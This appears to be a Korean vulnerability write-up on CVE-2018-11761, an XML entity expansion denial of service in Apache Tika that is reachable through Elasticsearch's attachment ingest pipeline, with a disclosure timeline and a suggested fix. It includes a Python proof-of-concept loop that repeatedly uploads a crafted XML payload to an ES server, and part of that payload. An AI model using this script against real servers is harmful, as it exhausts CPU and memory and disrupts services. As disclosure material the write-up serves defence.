실제로, 이 플러그인은 XML 파일에서 내용을 추출하기 위해 파서로 [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java)를 사용합니다. 추가 조사 결과, 다음과 같은 호출 과정을 확인할 수 있습니다.
*  `DcXMLParser()`는 [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)를 확장합니다.
* `XMLParser`는 XML 문서를 파싱하기 위해 [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75)를 사용합니다.
* `XMLReaderUtils.parseSAX`는 [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)를 호출합니다.```java
public static SAXParserFactory getSAXParserFactory() {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);
    try {
        factory.setFeature(
                XMLConstants.FEATURE_SECURE_PROCESSING, true);
    } catch (ParserConfigurationException e) {
    } catch (SAXNotSupportedException e) {
    } catch (SAXNotRecognizedException e) {
        // TIKA-271: Some XML parsers do not support the
        // secure-processing feature, even though it's required by
        // JAXP in Java 5. Ignoring the exception is fine here, as
        // deployments without this feature are inherently vulnerable
        // to XML denial-of-service attacks.
    }

    return factory;
}

Oracle의 설명에 따르면, [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html)이 활성화되면 구현체가 XML을 안전하게 처리하도록 지시합니다. 이는 서비스 거부 공격과 같은 조건을 피하기 위해 XML 구조에 제한을 설정할 수 있습니다.

하지만, 실제로는 [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion)을 완전히 방지할 수 없습니다. 공격자는 여전히 조작된 XML 문서를 ES 서버에 보내 `Proof of Concept` 섹션에서 언급된 XML Entity Expansion 취약점을 통해 DoS 공격을 수행할 수 있습니다. Apache Tika 소스 코드를 확인한 결과, 그들은 `XMLConstants.FEATURE_SECURE_PROCESSING` 기능만 활성화했으며, 기본적으로 엔터티 확장 횟수를 64,000개로 제한하기 때문에 [이 문서](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html)에 따라 이러한 유형의 공격으로부터 보호할 수 있다고 생각했을 수 있습니다. 그러나 실제로는 여전히 이 64,000개의 엔터티 확장을 활용하여 메모리 내에서 증폭 XML 객체를 생성할 수 있습니다. 예를 들어, POC의 `ES_XML.xml` 파일 크기는 약 64KB에 불과하지만, ES 서버의 백엔드 Tika 서버에 업로드되면 Tika는 이를 구문 분석하기 위해 최소 6MB의 메모리(6MB / 64KB = 100배)를 할당해야 하며, 이로 인해 CPU 사용률이 급격히 증가합니다.

따라서 제 이해로는, 가능한 수정 사항 중 하나는 다음 시스템 속성을 설정하여 [Oracle 문서](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html)에 따라 영향을 크게 제한하는 것입니다.```
jdk.xml.entityExpansionLimit=1

def create_ingest_att_pipeline(self, url):
    pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
    data = {
        "description" : "Extract attachment information",
        "processors" : [{
            "attachment" : {
                "field" : "data",
                "indexed_chars": "-1"
            }
        }]
    }
    res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
    if res.status_code == 200:
        print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
    else:
        print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))

def send_payload(self, url, payload):
    ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
    data = {
        "data": payload
    }
    res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
    print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))

def verify_mal_doc(self, url):
    ingest_url = "{}/my_index/_doc/1".format(url)
    res = requests.get(ingest_url, headers=headers)
    if res.status_code == 200:
        print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
    else:
        print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))

def run(self):
    url = "http://{}:{}".format(self.es_ip, self.es_port)

    with open(self.mal_xml_file, 'rb') as f:
        content = base64.b64encode(f.read())

    self.create_ingest_att_pipeline(url)
    while True:
        print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
        self.send_payload(url, content)
        self.num += 1
        #self.verify_mal_doc(url)

* 조작된 XML 문서를 생성하고 `ES_XML.xml`로 저장합니다:```XML
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a 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]>
<foo>&d;</foo>

* 이후 CPU 사용률이 급격하고 뚜렷하게 증가합니다.

![](http://avfisher.win/wp-content/uploads/2018/07/es_doc.png)

# 결론
이 취약점은 실제로 Apache Tika XML 파서 구현에 의해 발생합니다. 한편, Tika를 사용하여 XML 파일을 파싱하는 모든 서비스도 영향을 받을 것으로 생각됩니다.

# 타임라인
* 2018-07-25: Apache 보안팀 및 Elastic 제품 보안팀에 보고.
* 2018-07-26: Apache Tika PMC로부터 확인 및 인정 수신.
* 2018-07-27: Elastic 제품 보안팀으로부터 확인 수신.
* 2018-09-19: Apache Tika 팀으로부터 [CVE-2018-11761](https://lists.apache.org/thread.html/5553e10bba5604117967466618f219c0cae710075819c70cfb3fb421@%3Cdev.tika.apache.org%3E) 공지 수신 및 Apache Tika 1.19 이상에서 문제가 수정되었음을 확인.
* 2018-11-27: Elastic 제품 보안팀이 ElasticSearch 6.4.3에서 문제가 수정되었음을 확인.

# 참고 자료
* http://avfisher.win/archives/1021
* https://github.com/elastic/elasticsearch
* https://github.com/apache/tika
* http://www.ws-attacks.org/XML_Entity_Expansion
* https://xerces.apache.org/xerces2-j/javadocs/api/javax/xml/XMLConstants.html#FEATURE_SECURE_PROCESSING
* https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html
* http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html
* http://openjdk.java.net/jeps/185